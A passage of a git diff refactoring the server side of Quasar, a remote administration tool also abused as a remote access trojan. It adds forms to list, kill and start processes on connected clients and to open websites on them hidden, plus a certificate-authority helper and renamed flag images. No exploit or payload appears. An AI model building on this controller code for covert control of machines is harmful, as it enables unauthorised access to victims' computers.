+ AddBasicSystemInformation();
+ }
+
+ ///
+ /// Adds basic system information which is already available to the ListView.
+ ///
+ private void AddBasicSystemInformation()
+ {
+ ListViewItem lvi =
+ new ListViewItem(new[] {"Operating System", _connectClient.Value.OperatingSystem});
+ lstSystem.Items.Add(lvi);
+ lvi =
+ new ListViewItem(new[]
+ {
+ "Architecture",
+ (_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)"
+ });
+ lstSystem.Items.Add(lvi);
+ lvi = new ListViewItem(new[] {"", "Getting more information..."});
+ lstSystem.Items.Add(lvi);
+ }
+ }
+}
\ No newline at end of file
diff --git a/Server/Forms/FrmUploadAndExecute.resx b/Quasar.Server/Forms/FrmSystemInformation.resx
similarity index 99%
rename from Server/Forms/FrmUploadAndExecute.resx
rename to Quasar.Server/Forms/FrmSystemInformation.resx
index 2c592595d..b8bc5965a 100644
--- a/Server/Forms/FrmUploadAndExecute.resx
+++ b/Quasar.Server/Forms/FrmSystemInformation.resx
@@ -117,6 +117,9 @@
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+ 17, 17
+
diff --git a/Server/Forms/FrmTaskManager.Designer.cs b/Quasar.Server/Forms/FrmTaskManager.Designer.cs
similarity index 94%
rename from Server/Forms/FrmTaskManager.Designer.cs
rename to Quasar.Server/Forms/FrmTaskManager.Designer.cs
index fdb07e429..5c5650cc6 100644
--- a/Server/Forms/FrmTaskManager.Designer.cs
+++ b/Quasar.Server/Forms/FrmTaskManager.Designer.cs
@@ -1,6 +1,6 @@
-using xServer.Controls;
+using Quasar.Server.Controls;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmTaskManager
{
@@ -38,7 +38,7 @@ private void InitializeComponent()
this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator();
this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel();
- this.lstTasks = new xServer.Controls.AeroListView();
+ this.lstTasks = new AeroListView();
this.hProcessname = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hPID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hTitle = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
@@ -61,7 +61,7 @@ private void InitializeComponent()
//
// killProcessToolStripMenuItem
//
- this.killProcessToolStripMenuItem.Image = global::xServer.Properties.Resources.cancel;
+ this.killProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel;
this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem";
this.killProcessToolStripMenuItem.Size = new System.Drawing.Size(141, 22);
this.killProcessToolStripMenuItem.Text = "Kill Process";
@@ -69,7 +69,7 @@ private void InitializeComponent()
//
// startProcessToolStripMenuItem
//
- this.startProcessToolStripMenuItem.Image = global::xServer.Properties.Resources.run;
+ this.startProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_go;
this.startProcessToolStripMenuItem.Name = "startProcessToolStripMenuItem";
this.startProcessToolStripMenuItem.Size = new System.Drawing.Size(141, 22);
this.startProcessToolStripMenuItem.Text = "Start Process";
@@ -82,7 +82,7 @@ private void InitializeComponent()
//
// refreshToolStripMenuItem
//
- this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh;
+ this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh;
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(141, 22);
this.refreshToolStripMenuItem.Text = "Refresh";
@@ -119,6 +119,7 @@ private void InitializeComponent()
this.lstTasks.TabIndex = 1;
this.lstTasks.UseCompatibleStateImageBehavior = false;
this.lstTasks.View = System.Windows.Forms.View.Details;
+ this.lstTasks.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstTasks_ColumnClick);
//
// hProcessname
//
@@ -153,8 +154,8 @@ private void InitializeComponent()
//
// FrmTaskManager
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(821, 493);
this.Controls.Add(this.tableLayoutPanel);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
diff --git a/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar.Server/Forms/FrmTaskManager.cs
new file mode 100644
index 000000000..feaef137a
--- /dev/null
+++ b/Quasar.Server/Forms/FrmTaskManager.cs
@@ -0,0 +1,166 @@
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Server.Controls;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Networking;
+using System;
+using System.Collections.Generic;
+using System.Windows.Forms;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmTaskManager : Form
+ {
+ ///
+ /// The client which can be used for the task manager.
+ ///
+ private readonly Client _connectClient;
+
+ ///
+ /// The message handler for handling the communication with the client.
+ ///
+ private readonly TaskManagerHandler _taskManagerHandler;
+
+ ///
+ /// Holds the opened task manager form for each client.
+ ///
+ private static readonly Dictionary OpenedForms = new Dictionary();
+
+ ///
+ /// Creates a new task manager form for the client or gets the current open form, if there exists one already.
+ ///
+ /// The client used for the task manager form.
+ ///
+ /// Returns a new task manager form for the client if there is none currently open, otherwise creates a new one.
+ ///
+ public static FrmTaskManager CreateNewOrGetExisting(Client client)
+ {
+ if (OpenedForms.ContainsKey(client))
+ {
+ return OpenedForms[client];
+ }
+ FrmTaskManager f = new FrmTaskManager(client);
+ f.Disposed += (sender, args) => OpenedForms.Remove(client);
+ OpenedForms.Add(client, f);
+ return f;
+ }
+
+ ///
+ /// Initializes a new instance of the class using the given client.
+ ///
+ /// The client used for the task manager form.
+ public FrmTaskManager(Client client)
+ {
+ _connectClient = client;
+ _taskManagerHandler = new TaskManagerHandler(client);
+
+ RegisterMessageHandler();
+ InitializeComponent();
+ }
+
+ ///
+ /// Registers the task manager message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ _connectClient.ClientState += ClientDisconnected;
+ _taskManagerHandler.ProgressChanged += TasksChanged;
+ _taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed;
+ MessageHandler.Register(_taskManagerHandler);
+ }
+
+ ///
+ /// Unregisters the task manager message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_taskManagerHandler);
+ _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed;
+ _taskManagerHandler.ProgressChanged -= TasksChanged;
+ _connectClient.ClientState -= ClientDisconnected;
+ }
+
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
+ {
+ this.Invoke((MethodInvoker)this.Close);
+ }
+ }
+
+ private void TasksChanged(object sender, Process[] processes)
+ {
+ lstTasks.Items.Clear();
+
+ foreach (var process in processes)
+ {
+ ListViewItem lvi =
+ new ListViewItem(new[] {process.Name, process.Id.ToString(), process.MainWindowTitle});
+ lstTasks.Items.Add(lvi);
+ }
+
+ processesToolStripStatusLabel.Text = $"Processes: {processes.Length}";
+ }
+
+ private void ProcessActionPerformed(object sender, ProcessAction action, bool result)
+ {
+ string text = string.Empty;
+ switch (action)
+ {
+ case ProcessAction.Start:
+ text = result ? "Process started successfully" : "Failed to start process";
+ break;
+ case ProcessAction.End:
+ text = result ? "Process ended successfully" : "Failed to end process";
+ break;
+ }
+
+ processesToolStripStatusLabel.Text = text;
+ }
+
+ private void FrmTaskManager_Load(object sender, EventArgs e)
+ {
+ this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient);
+ _taskManagerHandler.RefreshProcesses();
+ }
+
+ private void FrmTaskManager_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ UnregisterMessageHandler();
+ }
+
+ private void killProcessToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ foreach (ListViewItem lvi in lstTasks.SelectedItems)
+ {
+ _taskManagerHandler.EndProcess(int.Parse(lvi.SubItems[1].Text));
+ }
+ }
+
+ private void startProcessToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ string processName = string.Empty;
+ if (InputBox.Show("Process name", "Enter Process name:", ref processName) == DialogResult.OK)
+ {
+ _taskManagerHandler.StartProcess(processName);
+ }
+ }
+
+ private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ _taskManagerHandler.RefreshProcesses();
+ }
+
+ private void lstTasks_ColumnClick(object sender, ColumnClickEventArgs e)
+ {
+ lstTasks.LvwColumnSorter.NeedNumberCompare = (e.Column == 1);
+ }
+ }
+}
diff --git a/Server/Forms/FrmTaskManager.resx b/Quasar.Server/Forms/FrmTaskManager.resx
similarity index 100%
rename from Server/Forms/FrmTaskManager.resx
rename to Quasar.Server/Forms/FrmTaskManager.resx
diff --git a/Server/Forms/FrmVisitWebsite.Designer.cs b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs
similarity index 98%
rename from Server/Forms/FrmVisitWebsite.Designer.cs
rename to Quasar.Server/Forms/FrmVisitWebsite.Designer.cs
index d068741f4..0bdf6854c 100644
--- a/Server/Forms/FrmVisitWebsite.Designer.cs
+++ b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs
@@ -1,4 +1,4 @@
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmVisitWebsite
{
@@ -76,8 +76,8 @@ private void InitializeComponent()
// FrmVisitWebsite
//
this.AcceptButton = this.btnVisitWebsite;
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(396, 72);
this.Controls.Add(this.chkVisitHidden);
this.Controls.Add(this.lblURL);
diff --git a/Server/Forms/FrmVisitWebsite.cs b/Quasar.Server/Forms/FrmVisitWebsite.cs
similarity index 67%
rename from Server/Forms/FrmVisitWebsite.cs
rename to Quasar.Server/Forms/FrmVisitWebsite.cs
index ee25788dd..f6595a604 100644
--- a/Server/Forms/FrmVisitWebsite.cs
+++ b/Quasar.Server/Forms/FrmVisitWebsite.cs
@@ -1,13 +1,14 @@
using System;
using System.Windows.Forms;
-using xServer.Core.Data;
-using xServer.Core.Helper;
-using xServer.Core.Utilities;
+using Quasar.Server.Helper;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
public partial class FrmVisitWebsite : Form
{
+ public string Url { get; set; }
+ public bool Hidden { get; set; }
+
private readonly int _selectedClients;
public FrmVisitWebsite(int selected)
@@ -19,14 +20,12 @@ public FrmVisitWebsite(int selected)
private void FrmVisitWebsite_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("Visit Website", _selectedClients);
- txtURL.Text = VisitWebsite.URL;
- chkVisitHidden.Checked = VisitWebsite.Hidden;
}
private void btnVisitWebsite_Click(object sender, EventArgs e)
{
- VisitWebsite.URL = txtURL.Text;
- VisitWebsite.Hidden = chkVisitHidden.Checked;
+ Url = txtURL.Text;
+ Hidden = chkVisitHidden.Checked;
this.DialogResult = DialogResult.OK;
this.Close();
diff --git a/Server/Forms/FrmVisitWebsite.resx b/Quasar.Server/Forms/FrmVisitWebsite.resx
similarity index 100%
rename from Server/Forms/FrmVisitWebsite.resx
rename to Quasar.Server/Forms/FrmVisitWebsite.resx
diff --git a/Quasar.Server/Helper/CertificateHelper.cs b/Quasar.Server/Helper/CertificateHelper.cs
new file mode 100644
index 000000000..b41d531f6
--- /dev/null
+++ b/Quasar.Server/Helper/CertificateHelper.cs
@@ -0,0 +1,85 @@
+using Org.BouncyCastle.Asn1.X509;
+using Org.BouncyCastle.Crypto;
+using Org.BouncyCastle.Crypto.Generators;
+using Org.BouncyCastle.Crypto.Operators;
+using Org.BouncyCastle.Crypto.Parameters;
+using Org.BouncyCastle.Crypto.Prng;
+using Org.BouncyCastle.Math;
+using Org.BouncyCastle.Security;
+using Org.BouncyCastle.X509;
+using Org.BouncyCastle.X509.Extension;
+using System;
+using System.Security.Cryptography.X509Certificates;
+
+namespace Quasar.Server.Helper
+{
+ public static class CertificateHelper
+ {
+ public static X509Certificate2 CreateCertificate(string certName, X509Certificate2 ca, int keyStrength)
+ {
+ var caCert = DotNetUtilities.FromX509Certificate(ca);
+ var random = new SecureRandom(new CryptoApiRandomGenerator());
+ var keyPairGen = new RsaKeyPairGenerator();
+ keyPairGen.Init(new KeyGenerationParameters(random, keyStrength));
+ AsymmetricCipherKeyPair keyPair = keyPairGen.GenerateKeyPair();
+
+ var certificateGenerator = new X509V3CertificateGenerator();
+
+ var CN = new X509Name("CN=" + certName);
+ var SN = BigInteger.ProbablePrime(120, random);
+
+ certificateGenerator.SetSerialNumber(SN);
+ certificateGenerator.SetSubjectDN(CN);
+ certificateGenerator.SetIssuerDN(caCert.IssuerDN);
+ certificateGenerator.SetNotAfter(DateTime.MaxValue);
+ certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(1, 0, 0, 0)));
+ certificateGenerator.SetPublicKey(keyPair.Public);
+ certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keyPair.Public));
+ certificateGenerator.AddExtension(X509Extensions.AuthorityKeyIdentifier, false, new AuthorityKeyIdentifierStructure(caCert.GetPublicKey()));
+
+ var caKeyPair = DotNetUtilities.GetKeyPair(ca.PrivateKey);
+
+ ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", caKeyPair.Private, random);
+
+ var certificate = certificateGenerator.Generate(signatureFactory);
+
+ certificate.Verify(caCert.GetPublicKey());
+
+ var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate));
+ certificate2.PrivateKey = DotNetUtilities.ToRSA(keyPair.Private as RsaPrivateCrtKeyParameters);
+
+ return certificate2;
+ }
+
+ public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength)
+ {
+ var random = new SecureRandom(new CryptoApiRandomGenerator());
+ var keyPairGen = new RsaKeyPairGenerator();
+ keyPairGen.Init(new KeyGenerationParameters(random, keyStrength));
+ AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair();
+
+ var certificateGenerator = new X509V3CertificateGenerator();
+
+ var CN = new X509Name("CN=" + caName);
+ var SN = BigInteger.ProbablePrime(120, random);
+
+ certificateGenerator.SetSerialNumber(SN);
+ certificateGenerator.SetSubjectDN(CN);
+ certificateGenerator.SetIssuerDN(CN);
+ certificateGenerator.SetNotAfter(DateTime.MaxValue);
+ certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(2, 0, 0, 0)));
+ certificateGenerator.SetPublicKey(keypair.Public);
+ certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public));
+ certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true));
+
+ ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", keypair.Private, random);
+
+ var certificate = certificateGenerator.Generate(signatureFactory);
+
+ var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate));
+ certificate2.PrivateKey = DotNetUtilities.ToRSA(keypair.Private as RsaPrivateCrtKeyParameters);
+
+ return certificate2;
+ }
+ }
+}
diff --git a/Server/Core/Helper/ClipboardHelper.cs b/Quasar.Server/Helper/ClipboardHelper.cs
similarity index 74%
rename from Server/Core/Helper/ClipboardHelper.cs
rename to Quasar.Server/Helper/ClipboardHelper.cs
index c66f84a0b..2a69f0367 100644
--- a/Server/Core/Helper/ClipboardHelper.cs
+++ b/Quasar.Server/Helper/ClipboardHelper.cs
@@ -1,11 +1,11 @@
using System;
using System.Windows.Forms;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Helper
{
public static class ClipboardHelper
{
- public static void SetClipboardText(string text)
+ public static void SetClipboardTextSafe(string text)
{
try
{
diff --git a/Server/Core/Helper/NativeMethodsHelper.cs b/Quasar.Server/Helper/NativeMethodsHelper.cs
similarity index 52%
rename from Server/Core/Helper/NativeMethodsHelper.cs
rename to Quasar.Server/Helper/NativeMethodsHelper.cs
index 1c4efba4b..5ea832cfd 100644
--- a/Server/Core/Helper/NativeMethodsHelper.cs
+++ b/Quasar.Server/Helper/NativeMethodsHelper.cs
@@ -1,7 +1,7 @@
using System;
-using xServer.Core.Utilities;
+using Quasar.Server.Utilities;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Helper
{
public static class NativeMethodsHelper
{
@@ -9,20 +9,11 @@ public static class NativeMethodsHelper
private const int LVM_SETITEMSTATE = LVM_FIRST + 43;
private const int WM_VSCROLL = 277;
- private const int SB_PAGEBOTTOM = 7;
+ private static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7);
- public static int MakeLong(int wLow, int wHigh)
+ public static int MakeWin32Long(short wLow, short wHigh)
{
- int low = (int)IntLoWord(wLow);
- short high = IntLoWord(wHigh);
- int product = 0x10000 * (int)high;
- int mkLong = (int)(low | product);
- return mkLong;
- }
-
- private static short IntLoWord(int word)
- {
- return (short)(word & short.MaxValue);
+ return (int)wLow << 16 | (int)(short)wHigh;
}
public static void SetItemState(IntPtr handle, int itemIndex, int mask, int value)
@@ -32,12 +23,13 @@ public static void SetItemState(IntPtr handle, int itemIndex, int mask, int valu
stateMask = mask,
state = value
};
- NativeMethods.SendMessageLVItem(handle, LVM_SETITEMSTATE, itemIndex, ref lvItem);
+
+ NativeMethods.SendMessageListViewItem(handle, LVM_SETITEMSTATE, new IntPtr(itemIndex), ref lvItem);
}
public static void ScrollToBottom(IntPtr handle)
{
- NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, 0);
+ NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, IntPtr.Zero);
}
}
}
diff --git a/Server/Core/Helper/WindowHelper.cs b/Quasar.Server/Helper/WindowHelper.cs
similarity index 75%
rename from Server/Core/Helper/WindowHelper.cs
rename to Quasar.Server/Helper/WindowHelper.cs
index b93871f47..fb8f92573 100644
--- a/Server/Core/Helper/WindowHelper.cs
+++ b/Quasar.Server/Helper/WindowHelper.cs
@@ -1,12 +1,12 @@
-using xServer.Core.Networking;
+using Quasar.Server.Networking;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Helper
{
public static class WindowHelper
{
public static string GetWindowTitle(string title, Client c)
{
- return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PCName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString());
+ return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PcName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString());
}
public static string GetWindowTitle(string title, int count)
diff --git a/Server/flags/ad.png b/Quasar.Server/Images/Flags/ad.png
similarity index 100%
rename from Server/flags/ad.png
rename to Quasar.Server/Images/Flags/ad.png
diff --git a/Server/flags/ae.png b/Quasar.Server/Images/Flags/ae.png
similarity index 100%
rename from Server/flags/ae.png
rename to Quasar.Server/Images/Flags/ae.png
diff --git a/Server/flags/af.png b/Quasar.Server/Images/Flags/af.png
similarity index 100%
rename from Server/flags/af.png
rename to Quasar.Server/Images/Flags/af.png
diff --git a/Server/flags/ag.png b/Quasar.Server/Images/Flags/ag.png
similarity index 100%
rename from Server/flags/ag.png
rename to Quasar.Server/Images/Flags/ag.png
diff --git a/Server/flags/ai.png b/Quasar.Server/Images/Flags/ai.png
similarity index 100%
rename from Server/flags/ai.png
rename to Quasar.Server/Images/Flags/ai.png
diff --git a/Server/flags/al.png b/Quasar.Server/Images/Flags/al.png
similarity index 100%
rename from Server/flags/al.png
rename to Quasar.Server/Images/Flags/al.png
diff --git a/Server/flags/am.png b/Quasar.Server/Images/Flags/am.png
similarity index 100%
rename from Server/flags/am.png
rename to Quasar.Server/Images/Flags/am.png
diff --git a/Server/flags/an.png b/Quasar.Server/Images/Flags/an.png
similarity index 100%
rename from Server/flags/an.png
rename to Quasar.Server/Images/Flags/an.png
diff --git a/Server/flags/ao.png b/Quasar.Server/Images/Flags/ao.png
similarity index 100%
rename from Server/flags/ao.png
rename to Quasar.Server/Images/Flags/ao.png
diff --git a/Server/flags/ar.png b/Quasar.Server/Images/Flags/ar.png
similarity index 100%
rename from Server/flags/ar.png
rename to Quasar.Server/Images/Flags/ar.png
diff --git a/Server/flags/as.png b/Quasar.Server/Images/Flags/as.png
similarity index 100%
rename from Server/flags/as.png
rename to Quasar.Server/Images/Flags/as.png
diff --git a/Server/flags/at.png b/Quasar.Server/Images/Flags/at.png
similarity index 100%
rename from Server/flags/at.png
rename to Quasar.Server/Images/Flags/at.png
diff --git a/Server/flags/au.png b/Quasar.Server/Images/Flags/au.png
similarity index 100%
rename from Server/flags/au.png
rename to Quasar.Server/Images/Flags/au.png
diff --git a/Server/flags/aw.png b/Quasar.Server/Images/Flags/aw.png
similarity index 100%
rename from Server/flags/aw.png
rename to Quasar.Server/Images/Flags/aw.png
diff --git a/Server/flags/ax.png b/Quasar.Server/Images/Flags/ax.png
similarity index 100%
rename from Server/flags/ax.png
rename to Quasar.Server/Images/Flags/ax.png
diff --git a/Server/flags/az.png b/Quasar.Server/Images/Flags/az.png
similarity index 100%
rename from Server/flags/az.png
rename to Quasar.Server/Images/Flags/az.png
diff --git a/Server/flags/ba.png b/Quasar.Server/Images/Flags/ba.png
similarity index 100%
rename from Server/flags/ba.png
rename to Quasar.Server/Images/Flags/ba.png
diff --git a/Server/flags/bb.png b/Quasar.Server/Images/Flags/bb.png
similarity index 100%
rename from Server/flags/bb.png
rename to Quasar.Server/Images/Flags/bb.png
diff --git a/Server/flags/bd.png b/Quasar.Server/Images/Flags/bd.png
similarity index 100%
rename from Server/flags/bd.png
rename to Quasar.Server/Images/Flags/bd.png
diff --git a/Server/flags/be.png b/Quasar.Server/Images/Flags/be.png
similarity index 100%
rename from Server/flags/be.png
rename to Quasar.Server/Images/Flags/be.png
diff --git a/Server/flags/bf.png b/Quasar.Server/Images/Flags/bf.png
similarity index 100%
rename from Server/flags/bf.png
rename to Quasar.Server/Images/Flags/bf.png
diff --git a/Server/flags/bg.png b/Quasar.Server/Images/Flags/bg.png
similarity index 100%
rename from Server/flags/bg.png
rename to Quasar.Server/Images/Flags/bg.png
diff --git a/Server/flags/bh.png b/Quasar.Server/Images/Flags/bh.png
similarity index 100%
rename from Server/flags/bh.png
rename to Quasar.Server/Images/Flags/bh.png
diff --git a/Server/flags/bi.png b/Quasar.Server/Images/Flags/bi.png
similarity index 100%
rename from Server/flags/bi.png
rename to Quasar.Server/Images/Flags/bi.png
diff --git a/Server/flags/bj.png b/Quasar.Server/Images/Flags/bj.png
similarity index 100%
rename from Server/flags/bj.png
rename to Quasar.Server/Images/Flags/bj.png
diff --git a/Server/flags/bm.png b/Quasar.Server/Images/Flags/bm.png
similarity index 100%
rename from Server/flags/bm.png
rename to Quasar.Server/Images/Flags/bm.png
diff --git a/Server/flags/bn.png b/Quasar.Server/Images/Flags/bn.png
similarity index 100%
rename from Server/flags/bn.png
rename to Quasar.Server/Images/Flags/bn.png
diff --git a/Server/flags/bo.png b/Quasar.Server/Images/Flags/bo.png
similarity index 100%
rename from Server/flags/bo.png
rename to Quasar.Server/Images/Flags/bo.png
diff --git a/Server/flags/br.png b/Quasar.Server/Images/Flags/br.png
similarity index 100%
rename from Server/flags/br.png
rename to Quasar.Server/Images/Flags/br.png
diff --git a/Server/flags/bs.png b/Quasar.Server/Images/Flags/bs.png
similarity index 100%
rename from Server/flags/bs.png
rename to Quasar.Server/Images/Flags/bs.png
diff --git a/Server/flags/bt.png b/Quasar.Server/Images/Flags/bt.png
similarity index 100%
rename from Server/flags/bt.png
rename to Quasar.Server/Images/Flags/bt.png
diff --git a/Server/flags/bv.png b/Quasar.Server/Images/Flags/bv.png
similarity index 100%
rename from Server/flags/bv.png
rename to Quasar.Server/Images/Flags/bv.png
diff --git a/Server/flags/bw.png b/Quasar.Server/Images/Flags/bw.png
similarity index 100%
rename from Server/flags/bw.png
rename to Quasar.Server/Images/Flags/bw.png
diff --git a/Server/flags/by.png b/Quasar.Server/Images/Flags/by.png
similarity index 100%
rename from Server/flags/by.png
rename to Quasar.Server/Images/Flags/by.png
diff --git a/Server/flags/bz.png b/Quasar.Server/Images/Flags/bz.png
similarity index 100%
rename from Server/flags/bz.png
rename to Quasar.Server/Images/Flags/bz.png
diff --git a/Server/flags/ca.png b/Quasar.Server/Images/Flags/ca.png
similarity index 100%
rename from Server/flags/ca.png
rename to Quasar.Server/Images/Flags/ca.png
diff --git a/Server/flags/catalonia.png b/Quasar.Server/Images/Flags/catalonia.png
similarity index 100%
rename from Server/flags/catalonia.png
rename to Quasar.Server/Images/Flags/catalonia.png
diff --git a/Server/flags/cc.png b/Quasar.Server/Images/Flags/cc.png
similarity index 100%
rename from Server/flags/cc.png
rename to Quasar.Server/Images/Flags/cc.png
diff --git a/Server/flags/cd.png b/Quasar.Server/Images/Flags/cd.png
similarity index 100%
rename from Server/flags/cd.png
rename to Quasar.Server/Images/Flags/cd.png
diff --git a/Server/flags/cf.png b/Quasar.Server/Images/Flags/cf.png
similarity index 100%
rename from Server/flags/cf.png
rename to Quasar.Server/Images/Flags/cf.png
diff --git a/Server/flags/cg.png b/Quasar.Server/Images/Flags/cg.png
similarity index 100%
rename from Server/flags/cg.png
rename to Quasar.Server/Images/Flags/cg.png
diff --git a/Server/flags/ch.png b/Quasar.Server/Images/Flags/ch.png
similarity index 100%
rename from Server/flags/ch.png
rename to Quasar.Server/Images/Flags/ch.png
diff --git a/Server/flags/ci.png b/Quasar.Server/Images/Flags/ci.png
similarity index 100%
rename from Server/flags/ci.png
rename to Quasar.Server/Images/Flags/ci.png
diff --git a/Server/flags/ck.png b/Quasar.Server/Images/Flags/ck.png
similarity index 100%
rename from Server/flags/ck.png
rename to Quasar.Server/Images/Flags/ck.png
diff --git a/Server/flags/cl.png b/Quasar.Server/Images/Flags/cl.png
similarity index 100%
rename from Server/flags/cl.png
rename to Quasar.Server/Images/Flags/cl.png
diff --git a/Server/flags/cm.png b/Quasar.Server/Images/Flags/cm.png
similarity index 100%
rename from Server/flags/cm.png
rename to Quasar.Server/Images/Flags/cm.png
diff --git a/Server/flags/cn.png b/Quasar.Server/Images/Flags/cn.png
similarity index 100%
rename from Server/flags/cn.png
rename to Quasar.Server/Images/Flags/cn.png
diff --git a/Server/flags/co.png b/Quasar.Server/Images/Flags/co.png
similarity index 100%
rename from Server/flags/co.png
rename to Quasar.Server/Images/Flags/co.png
diff --git a/Server/flags/cr.png b/Quasar.Server/Images/Flags/cr.png
similarity index 100%
rename from Server/flags/cr.png
rename to Quasar.Server/Images/Flags/cr.png
diff --git a/Server/flags/cs.png b/Quasar.Server/Images/Flags/cs.png
similarity index 100%
rename from Server/flags/cs.png
rename to Quasar.Server/Images/Flags/cs.png
diff --git a/Server/flags/cu.png b/Quasar.Server/Images/Flags/cu.png
similarity index 100%
rename from Server/flags/cu.png
rename to Quasar.Server/Images/Flags/cu.png
diff --git a/Server/flags/cv.png b/Quasar.Server/Images/Flags/cv.png
similarity index 100%
rename from Server/flags/cv.png
rename to Quasar.Server/Images/Flags/cv.png
diff --git a/Server/flags/cx.png b/Quasar.Server/Images/Flags/cx.png
similarity index 100%
rename from Server/flags/cx.png
rename to Quasar.Server/Images/Flags/cx.png
diff --git a/Server/flags/cy.png b/Quasar.Server/Images/Flags/cy.png
similarity index 100%
rename from Server/flags/cy.png
rename to Quasar.Server/Images/Flags/cy.png
diff --git a/Server/flags/cz.png b/Quasar.Server/Images/Flags/cz.png
similarity index 100%
rename from Server/flags/cz.png
rename to Quasar.Server/Images/Flags/cz.png
diff --git a/Server/flags/de.png b/Quasar.Server/Images/Flags/de.png
similarity index 100%
rename from Server/flags/de.png
rename to Quasar.Server/Images/Flags/de.png
diff --git a/Server/flags/dj.png b/Quasar.Server/Images/Flags/dj.png
similarity index 100%
rename from Server/flags/dj.png
rename to Quasar.Server/Images/Flags/dj.png
diff --git a/Server/flags/dk.png b/Quasar.Server/Images/Flags/dk.png
similarity index 100%
rename from Server/flags/dk.png
rename to Quasar.Server/Images/Flags/dk.png
diff --git a/Server/flags/dm.png b/Quasar.Server/Images/Flags/dm.png
similarity index 100%
rename from Server/flags/dm.png
rename to Quasar.Server/Images/Flags/dm.png
diff --git a/Server/flags/do.png b/Quasar.Server/Images/Flags/do.png
similarity index 100%
rename from Server/flags/do.png
rename to Quasar.Server/Images/Flags/do.png
diff --git a/Server/flags/dz.png b/Quasar.Server/Images/Flags/dz.png
similarity index 100%
rename from Server/flags/dz.png
rename to Quasar.Server/Images/Flags/dz.png
diff --git a/Server/flags/ec.png b/Quasar.Server/Images/Flags/ec.png
similarity index 100%
rename from Server/flags/ec.png
rename to Quasar.Server/Images/Flags/ec.png
diff --git a/Server/flags/ee.png b/Quasar.Server/Images/Flags/ee.png
similarity index 100%
rename from Server/flags/ee.png
rename to Quasar.Server/Images/Flags/ee.png
